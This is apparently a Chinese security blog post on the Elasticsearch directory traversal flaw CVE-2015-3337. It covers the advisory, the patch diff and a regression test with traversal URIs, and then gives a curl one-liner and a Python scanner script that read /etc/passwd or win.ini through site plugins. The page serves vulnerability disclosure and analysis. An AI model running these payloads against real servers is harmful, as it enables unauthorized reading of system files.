elasticsearch又出新版本了,这次修复了一个任意文件读取漏洞(写的是目录遍历)。
https://www.elastic.co/community/security
CVE-2015-3337
All Elasticsearch versions prior to 1.5.2 and 1.4.5 are vulnerable to a directory traversal attack that allows an attacker to retrieve files from the server running Elasticsearch when one or more site plugins are installed, or when Windows is the server OS.
Users should upgrade to 1.4.5 or 1.5.2. Users that do not want to upgrade can address the vulnerability by disabling site plugins. See the CVE description for additional options.
官方的release notes:
在这里看描述:https://github.com/elastic/elasticsearch/pull/10815
在这里看漏洞详情:https://github.com/spinscale/elasticsearch/commit/5d8e9e24c917b5f2c0958ba68be34a42efaeadbc
原来代码是:
1if (!Files.exists(file) || Files.isHidden(file)) {
修改后加了验证
if (!Files.exists(file) || Files.isHidden(file) || !file.toAbsolutePath().normalize().startsWith(siteFile.toAbsolutePath())) {
@Test
/**
+ * Test normalizing of path
+ */
+ @Test
+ public void testThatPathsAreNormalized() throws Exception {
+ // more info: https://www.owasp.org/index.php/Path_Traversal
+ List<String> notFoundUris = new ArrayList<>();
+ notFoundUris.add("/_plugin/dummy/../../../../../log4j.properties");
+ notFoundUris.add("/_plugin/dummy/../../../../../%00log4j.properties");
+ notFoundUris.add("/_plugin/dummy/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%aflog4j.properties");
+ notFoundUris.add("/_plugin/dummy/%2E%2E/%2E%2E/%2E%2E/%2E%2E/index.html");
+ notFoundUris.add("/_plugin/dummy/%2e%2e/%2e%2e/%2e%2e/%2e%2e/index.html");
+ notFoundUris.add("/_plugin/dummy/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2findex.html");
+ notFoundUris.add("/_plugin/dummy/%2E%2E/%2E%2E/%2E%2E/%2E%2E/index.html");
+ notFoundUris.add("/_plugin/dummy/..\\..\\..\\..\\..\\log4j.properties");
+
+ for (String uri : notFoundUris) {
+ HttpResponse response = httpClient().path(uri).execute();
+ String message = String.format(Locale.ROOT, "URI [%s] expected to be not found", uri);
+ assertThat(message, response.getStatusCode(), equalTo(RestStatus.NOT_FOUND.getStatus()));
+ }
+
+ // using relative path inside of the plugin should work
+ HttpResponse response = httpClient().path("/_plugin/dummy/dir1/../dir1/../index.html").execute();
+ assertThat(response.getStatusCode(), equalTo(RestStatus.OK.getStatus()));
+ assertThat(response.getBody(), containsString("<title>Dummy Site Plugin</title>"));
+ }
最后会这样被调用:
try {
byte[] data = Files.readAllBytes(file);
channel.sendResponse(new BytesRestResponse(OK, guessMimeType(sitePath), data));
} catch (IOException e) {
channel.sendResponse(new BytesRestResponse(INTERNAL_SERVER_ERROR));
}
JDK7的Files把一个文件的内容读取后返回给客户端.
这里详情在:https://github.com/spinscale/elasticsearch/blob/5d8e9e24c917b5f2c0958ba68be34a42efaeadbc/src/main/java/org/elasticsearch/http/HttpServer.java
利用代码:curl http:// ip /_plugin/head/../../../../../../etc/passwd,注意curl版本
#!/usr/bin/env python #-*- coding:utf-8 -*- #-*- www.SecPulse.com-*- import requests def elastic_directoryTraversal(host,port): pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head'] pList = ['/../../../../../../../../../../../../../../etc/passwd','/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd','/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'] for p in pluginList: for path in pList: urlA = "http://%s:%d/_plugin/%s%s" % (host,port,p,path) try: content = requests.get(urlA,timeout=5,allow_redirects=True,verify=False).content if "/root:/" in content: print 'Elasticsearch 任意文件读取漏洞(CVE-2015-3337) Found!' except Exception,e: print e elastic_directoryTraversal(host,port)
elasticsearch远程代码执行漏洞(CVE-2014-3120)
ElasticSearch Groovy脚本远程代码执行漏洞分析(CVE-2015-1427) (附exp)& ElasticSearch 远程代码执行漏洞分析(CVE-2015-1427)&高级利用方法
Elasticsearch 任意文件读取漏洞(CVE-2015-3337)
elasticsearch river未授权访问可泄漏数据库配置信息
【来源: Elasticsearch 任意文件读取漏洞(CVE-2015-3337) 作者:园长MM 安全脉搏SP主编整理发布】